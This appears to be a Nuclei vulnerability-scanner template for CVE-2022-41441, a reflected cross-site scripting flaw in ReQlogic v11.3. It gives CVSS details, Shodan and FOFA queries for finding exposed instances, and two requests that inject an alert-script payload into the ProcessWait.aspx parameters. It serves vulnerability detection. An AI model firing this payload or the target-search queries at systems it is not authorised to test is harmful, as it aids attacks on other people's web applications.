id: CVE-2022-41441

info:
  name: ReQlogic v11.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    ReQlogic v11.3 allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the POBatch and WaitDuration parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ReQlogic v11.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41441
    - https://okankurtulus.com.tr/2023/01/17/reqlogic-v11-3-unauthenticated-reflected-cross-site-scripting-xss/
    - http://packetstormsecurity.com/files/171557/ReQlogic-11.3-Cross-Site-Scripting.html
    - http://reqlogic.com
    - https://reqlogic.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41441
    cwe-id: CWE-79
    epss-score: 0.05187
    epss-percentile: 0.91637
    cpe: cpe:2.3:a:reqlogic:reqlogic:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: reqlogic
    product: reqlogic
    shodan-query:
      - http.html:"ReQlogic"
      - http.html:"reqlogic"
    fofa-query: body="reqlogic"
  tags: cve,cve2022,packetstorm,xss,reqlogic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script>"
      - "{{BaseURL}}/ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "POProcessTimeout")'
        condition: and
# digest: 4a0a00473045022100f6a7717e9c5db643585b22440f1b35e939c50c040d260eb5690870a899be2d4f02206e4445e02ae9c566aad9a9229eb3e875ea98eb61c63246245c3267b967100c23:922c64590222798bb761d5b6d8e72950